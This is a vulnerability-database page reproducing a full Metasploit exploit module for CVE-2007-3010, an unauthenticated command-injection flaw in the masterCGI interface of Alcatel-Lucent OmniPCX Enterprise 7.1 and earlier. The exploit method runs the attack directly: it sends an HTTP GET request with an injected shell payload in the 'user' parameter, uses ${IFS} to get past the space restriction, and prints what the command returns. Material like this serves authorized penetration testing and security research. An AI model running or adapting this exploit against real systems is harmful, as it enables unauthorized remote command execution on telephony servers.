Search...

Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution

2010-10-05T00:00:00
ID EDB-ID:16857
Type exploitdb
Reporter metasploit
Modified 2010-10-05T00:00:00

Description

Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution. CVE-2007-3010. Webapps exploit for cgi platform

                                        
                                            ##
# $Id: alcatel_omnipcx_mastercgi_exec.rb 10556 2010-10-05 23:13:04Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking # Only interactive single commands supported

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
			'Description'    => %q{
					This module abuses a metacharacter injection vulnerability in the
				HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
				Communication Server 7.1 and earlier. The Unified Maintenance Tool
				contains a 'masterCGI' binary which allows an unauthenticated attacker
				to execute arbitrary commands by specifing shell metacharaters as the
				'user' within the 'ping' action to obtain 'httpd' user access. This
				module only supports command line payloads, as the httpd process kills
				the reverse/bind shell spawn after the HTTP 200 OK response.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10556 $',
			'References'     =>
				[
					[ 'OSVDB', '40521' ],
					[ 'BID', '25694' ],
					[ 'CVE', '2007-3010' ],
					[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Sep 09 2007'))

		register_options(
			[
				Opt::RPORT(443),
				OptBool.new('SSL', [true, 'Use SSL', true]),
			], self.class)
	end

	def exploit
		connect

		cmd = payload.encoded.gsub(" ", '${IFS}')
		req =
			"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
			"Host: #{rhost}\r\n\r\n"

		print_status("Sending GET request with command line payload...")
		sock.put(req)

		res = sock.get(3,3)

		if (res =~ /<h5>(.*)<\/h5>/smi)
			out = $1
			print_line(out.gsub(/<h5>|<\/h5>/, ''))
			return
		end

		handler
		disconnect
	end

end
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by